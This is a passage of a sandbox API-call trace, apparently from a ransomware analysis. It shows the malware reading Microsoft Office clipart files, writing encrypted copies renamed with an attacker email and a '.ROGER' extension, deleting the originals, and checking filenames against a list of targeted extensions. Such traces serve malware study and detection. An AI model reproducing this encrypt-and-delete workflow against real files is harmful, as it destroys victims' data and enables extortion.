(hObject=0x3a4) returned 1 [0061.008] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.008] SetEndOfFile (hFile=0x34c) returned 1 [0061.009] CloseHandle (hObject=0x34c) returned 1 [0061.009] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.009] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 1 [0061.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.009] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.009] lstrlenW (lpString=".doc") returned 4 [0061.009] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.009] lstrlenW (lpString=".docx") returned 5 [0061.009] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.010] lstrlenW (lpString=".pdf") returned 4 [0061.010] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.010] lstrlenW (lpString=".xls") returned 4 [0061.011] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.011] lstrlenW (lpString=".xlsx") returned 5 [0061.011] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.011] lstrlenW (lpString=".ppt") returned 4 [0061.011] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.011] lstrlenW (lpString=".zip") returned 4 [0061.011] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.011] lstrlenW (lpString=".rar") returned 4 [0061.011] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString=".bz2") returned 4 [0061.011] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString=".7z") returned 3 [0061.011] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.011] lstrlenW (lpString=".dbf") returned 4 [0061.011] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.011] lstrlenW (lpString=".1cd") returned 4 [0061.011] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.011] lstrlenW (lpString=".jpg") returned 4 [0061.011] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.011] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.011] lstrlenW (lpString=".doc") returned 4 [0061.011] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.011] lstrlenW (lpString=".docx") returned 5 [0061.011] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.011] lstrlenW (lpString=".pdf") returned 4 [0061.012] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.012] lstrlenW (lpString=".xls") returned 4 [0061.012] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.012] lstrlenW (lpString=".xlsx") returned 5 [0061.012] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.012] lstrlenW (lpString=".ppt") returned 4 [0061.012] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.012] lstrlenW (lpString=".zip") returned 4 [0061.012] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.012] lstrlenW (lpString=".rar") returned 4 [0061.012] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.012] lstrlenW (lpString=".bz2") returned 4 [0061.012] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.012] lstrlenW (lpString=".7z") returned 3 [0061.012] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.012] lstrlenW (lpString=".dbf") returned 4 [0061.012] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.012] lstrlenW (lpString=".1cd") returned 4 [0061.012] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.012] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF") returned 63 [0061.012] lstrlenW (lpString=".jpg") returned 4 [0061.012] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.012] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.012] lstrlenW (lpString="BD07804_.WMF") returned 12 [0061.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.013] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=4924) returned 1 [0061.013] CloseHandle (hObject=0x34c) returned 1 [0061.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 0x20 [0061.013] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.013] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.013] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.014] GetLastError () returned 0x0 [0061.014] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x133c, lpOverlapped=0x0) returned 1 [0061.015] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x1340, lpOverlapped=0x0) returned 1 [0061.016] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.016] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.017] SetEndOfFile (hFile=0x3a4) returned 1 [0061.017] CloseHandle (hObject=0x3a4) returned 1 [0061.017] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.017] SetEndOfFile (hFile=0x34c) returned 1 [0061.018] CloseHandle (hObject=0x34c) returned 1 [0061.018] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.018] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07804_.wmf")) returned 1 [0061.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.018] lstrlenW (lpString=".doc") returned 4 [0061.018] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.018] lstrlenW (lpString=".docx") returned 5 [0061.018] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.018] lstrlenW (lpString=".pdf") returned 4 [0061.018] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.018] lstrlenW (lpString=".xls") returned 4 [0061.018] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.018] lstrlenW (lpString=".xlsx") returned 5 [0061.018] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.018] lstrlenW (lpString=".ppt") returned 4 [0061.018] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.018] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.018] lstrlenW (lpString=".zip") returned 4 [0061.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.019] lstrlenW (lpString=".rar") returned 4 [0061.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString=".bz2") returned 4 [0061.019] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString=".7z") returned 3 [0061.019] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.019] lstrlenW (lpString=".dbf") returned 4 [0061.019] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.019] lstrlenW (lpString=".1cd") returned 4 [0061.019] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.019] lstrlenW (lpString=".jpg") returned 4 [0061.019] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.019] lstrlenW (lpString=".doc") returned 4 [0061.019] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString=".docx") returned 5 [0061.019] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.019] lstrlenW (lpString=".pdf") returned 4 [0061.019] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString=".xls") returned 4 [0061.019] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.019] lstrlenW (lpString=".xlsx") returned 5 [0061.019] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.019] lstrlenW (lpString=".ppt") returned 4 [0061.019] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.019] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.019] lstrlenW (lpString=".zip") returned 4 [0061.019] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.019] lstrlenW (lpString=".rar") returned 4 [0061.019] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.020] lstrlenW (lpString=".bz2") returned 4 [0061.020] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.020] lstrlenW (lpString=".7z") returned 3 [0061.020] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.020] lstrlenW (lpString=".dbf") returned 4 [0061.020] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.020] lstrlenW (lpString=".1cd") returned 4 [0061.020] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07804_.WMF") returned 63 [0061.020] lstrlenW (lpString=".jpg") returned 4 [0061.020] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.020] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.020] lstrlenW (lpString="BD07831_.WMF") returned 12 [0061.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.021] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=4066) returned 1 [0061.021] CloseHandle (hObject=0x34c) returned 1 [0061.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 0x20 [0061.021] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.021] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.021] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.022] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.022] GetLastError () returned 0x0 [0061.022] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0xfe2, lpOverlapped=0x0) returned 1 [0061.024] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xff0, lpOverlapped=0x0) returned 1 [0061.024] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.024] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.025] SetEndOfFile (hFile=0x3a4) returned 1 [0061.025] CloseHandle (hObject=0x3a4) returned 1 [0061.025] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.025] SetEndOfFile (hFile=0x34c) returned 1 [0061.026] CloseHandle (hObject=0x34c) returned 1 [0061.026] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.026] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd07831_.wmf")) returned 1 [0061.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.026] lstrlenW (lpString=".doc") returned 4 [0061.026] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.026] lstrlenW (lpString=".docx") returned 5 [0061.026] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.026] lstrlenW (lpString=".pdf") returned 4 [0061.026] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.026] lstrlenW (lpString=".xls") returned 4 [0061.026] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.026] lstrlenW (lpString=".xlsx") returned 5 [0061.026] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.026] lstrlenW (lpString=".ppt") returned 4 [0061.026] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString=".zip") returned 4 [0061.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.027] lstrlenW (lpString=".rar") returned 4 [0061.027] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString=".bz2") returned 4 [0061.027] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString=".7z") returned 3 [0061.027] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString=".dbf") returned 4 [0061.027] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString=".1cd") returned 4 [0061.027] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString=".jpg") returned 4 [0061.027] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString=".doc") returned 4 [0061.027] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString=".docx") returned 5 [0061.027] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0061.027] lstrlenW (lpString=".pdf") returned 4 [0061.027] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString=".xls") returned 4 [0061.027] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0061.027] lstrlenW (lpString=".xlsx") returned 5 [0061.027] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0061.027] lstrlenW (lpString=".ppt") returned 4 [0061.027] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0061.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.027] lstrlenW (lpString=".zip") returned 4 [0061.027] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0061.028] lstrlenW (lpString=".rar") returned 4 [0061.028] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0061.028] lstrlenW (lpString=".bz2") returned 4 [0061.028] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0061.028] lstrlenW (lpString=".7z") returned 3 [0061.028] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.028] lstrlenW (lpString=".dbf") returned 4 [0061.028] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.028] lstrlenW (lpString=".1cd") returned 4 [0061.028] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0061.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD07831_.WMF") returned 63 [0061.028] lstrlenW (lpString=".jpg") returned 4 [0061.028] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0061.028] lstrcmpiW (lpString1=".WMF", lpString2=".ROGER") returned 1 [0061.028] lstrlenW (lpString="BD08758_.WMF") returned 12 [0061.028] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.028] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=24320) returned 1 [0061.028] CloseHandle (hObject=0x34c) returned 1 [0061.028] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 0x20 [0061.029] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0061.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0061.029] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.029] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0061.029] GetLastError () returned 0x0 [0061.029] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x5f00, lpOverlapped=0x0) returned 1 [0061.032] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5f10, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5f10, lpOverlapped=0x0) returned 1 [0061.033] ReadFile (in: hFile=0x34c, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0061.033] WriteFile (in: hFile=0x3a4, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0061.033] SetEndOfFile (hFile=0x3a4) returned 1 [0061.033] CloseHandle (hObject=0x3a4) returned 1 [0061.033] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0061.033] SetEndOfFile (hFile=0x34c) returned 1 [0061.034] CloseHandle (hObject=0x34c) returned 1 [0061.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0061.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD08758_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd08758_.wmf")) returned 